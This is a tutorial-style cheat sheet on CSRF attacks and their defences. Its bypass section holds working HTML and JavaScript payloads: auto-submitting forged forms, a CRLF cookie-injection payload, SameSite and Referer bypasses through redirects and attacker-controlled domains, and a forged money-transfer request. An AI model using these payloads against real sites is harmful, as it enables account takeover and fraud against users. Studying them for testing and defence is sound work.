Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is a type of web attack where a malicious site tricks a user into performing actions on another site where they’re authenticated. For example, it could change a user’s email or send money—without their consent.
How CSRF Attacks Work
An attacker can trick a logged-in user into submitting unwanted requests.
POST-Based Attack
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
GET-Based Attack
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
CSRF Defenses
A CSRF token is a unique and unpredictable value generated by the server. It must be submitted with sensitive requests (like changing an email). This ensures the request comes from a legitimate user.
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="unique-random-token">
<button type="submit">Update Email</button>
</form>
SameSite is a cookie attribute that controls whether cookies are sent with cross-site requests.
Strict
: Only sent in same-site requests (most secure).Lax
: Sent on same-site and top-level GET requests (default in most modern browsers).None
: Sent in all requests but must be markedSecure
.
Referer
header to verify that requests are coming from their own domain. This can help prevent CSRF attacks—but it’s not foolproof.
CSRF Token Bypass Techniques
-
Switch from
POST
toGET
-
Remove the CSRF token parameter
-
Use a predictable or fake token
-
Use Burp Sequencer to analyze the quality of randomness of the token
-
Reuse a token from your own session (if the app doesn’t check the token-user binding)
-
There are two token: one in a cookie and one in hidden input (this can also have the same value)
- Some apps do tie the CSRF token to a cookie, but not to the session cookie.
- Can you set a cookie? E.g. Header injection with
CRLF
.(%0d%0a
) -
/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
- Log in to the application with your account -> obtain a valid token and associated cookie.
- Generate CSRF PoC and remove the auto-submit
<script>
block. Then add the following code to inject the cookie.
<img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
Bypassing SameSite Protections
Bypassing Lax Mode
- Using GET requests (bypass lax)
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
- GET method override (bypass lax)
- Even if an ordinary
GET
request isn’t allowed, some frameworks supports_method
parameter. (Other frameworks support a variety of similar parameters) -
GET /my-account/change-email?email=a@a.com&_method=POST HTTP/1.1
- Even if an ordinary
Bypassing Strict Mode
Use a client-side redirect:
// On page: https://vulnerable-website.com/post/confirm?postId=10
redirectOnConfirmation = () => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = '/post/' + postId;
}, 3000);
}
Now trigger redirect to a sensitive endpoint:
<script>
document.location = "https://vulnerable-website.com/post/confirm?postId=10/../../my-account/change-email?email=a@a.com";
</script>
Bypassing Referer Validation
Strip the Referer
Some apps validate the Referer header if present, but skip if omitted:
<meta name="referrer" content="never">
This prevents the browser from sending the Referer
header.
Fake the Referer
Common tricks include using subdomains or path tricks:
http://vulnerable-website.com.attacker.com/csrf
http://attacker.com/csrf?vulnerable-website.com
You need to add Referrer-Policy
to unsafe-url
:
<meta name="referrer" content="unsafe-url" />
Tip: Instead of use http://attacker-website.com/vulnerable-website.com
, you can use http://attacker-website.com/
and add <script>history.pushState('', '', '/vulnerable-website.com')</script>
<!-- http://attacker-website.com/ -->
<html>
<meta name="referrer" content="unsafe-url"/>
<body>
<form action="https://vulnerable-website.com/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/vulnerable-website.com');
document.forms[0].submit();
</script>
</body>
</html>
Firefox 87 new default Referrer Policy strict-origin-when-cross-origin
trimming user sensitive information like path and query string to protect privacy [🔗] .